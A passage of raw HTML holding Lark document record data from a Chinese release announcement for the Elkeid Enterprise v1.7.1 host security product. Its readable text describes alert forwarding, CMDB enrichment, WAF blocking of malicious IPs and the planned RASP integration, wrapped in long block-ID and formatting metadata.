告警中进行查看，或推送到内部SOC平台；&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;:{&#34;id&#34;:&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:3,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;],&#34;2&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;f7e3af8b-f031-4f5a-a006-feaafe30ee9c\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_28842960\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4*1+6*2*0+4*1+1*0+19&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;接入内部资产数据库（CMDB）追加告警相关资产所属业务信息，并支持在 Elkeid Console 告警中查看追加信息；&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;:{&#34;id&#34;:&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:3,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;ffc2e7ab-e275-4872-8c65-12ddd47882f1\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_33790832,enterprise_451\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;2&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;6403a77c-5b63-4a7b-822b-30474b838bbc\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_953\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+14*1*0+2*0+4*2*0+3*0+9&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;亦可以通过 Elkeid HUB 进行事件处置等工作，如自动化将告警涉及到的恶意IP推送到 WAF 进行封禁等工作。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;:{&#34;id&#34;:&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+a*1+2*0+b*1+3*0+4*1+t*0+1*1+d*0+1&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;总之，使用者可以完整自由的使用 Elkeid 产生的全部数据，结合自身场景挖掘数据潜力。可以咨询Elkeid Team 获取更多安全场景的最佳实践。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;:{&#34;level&#34;:1},&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;:{&#34;level&#34;:1},&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span><br/></p><ul start="1" class="list-paddingleft-1"><li><p><strong>Elkeid </strong><strong>RASP</strong></p></li></ul><p>Elkeid 会在后续版本中集成 Elkeid RASP，可以实现 Application Runtime 层面更精准的检测与防御，弥补 Elkeid HIDS 目前仅能采集到操作系统层行为的短板；并且原生支持 RASP 告警关联主机层原始数据，从而更好的实现对服务端的防御。该功能预计v1.8.0发布，补齐下图中的最后一块缺失：</p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:122,&#34;end&#34;:123,&#34;blockIds&#34;:[143,144],&#34;recordIds&#34;:[&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;],&#34;recordMap&#34;:{&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;:{&#34;id&#34;:&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:3,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;bold&#34;,&#34;true&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;2&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;1cbcb45b-b903-40ed-93b3-98917d13a0a4\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_7055500819613024258\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*1*0+7*2*1*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid RASP&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnsg8geAoomiSUY52o105Dte&#34;:{&#34;id&#34;:&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:4,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;],&#34;2&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;3048be45-233e-45ce-a2ad-7c78b5179458\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_7055500819613024258\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;3&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;979a7553-0953-4266-9453-d2845a041cc1\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_778\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+9*1+2*0+2*1+1*0+3*1+7*2*0+4*0+1c*3*0+4*0+2d&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 会在后续版本中集成 Elkeid RASP，可以实现 Application Runtime 层面更精准的检测与防御，弥补 Elkeid HIDS 目前仅能采集到操作系统层行为的短板；并且原生支持 RASP 告警关联主机层原始数据，从而更好的实现对服务端的防御。该功能预计v1.8.0发布，补齐下图中的最后一块缺失：&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxc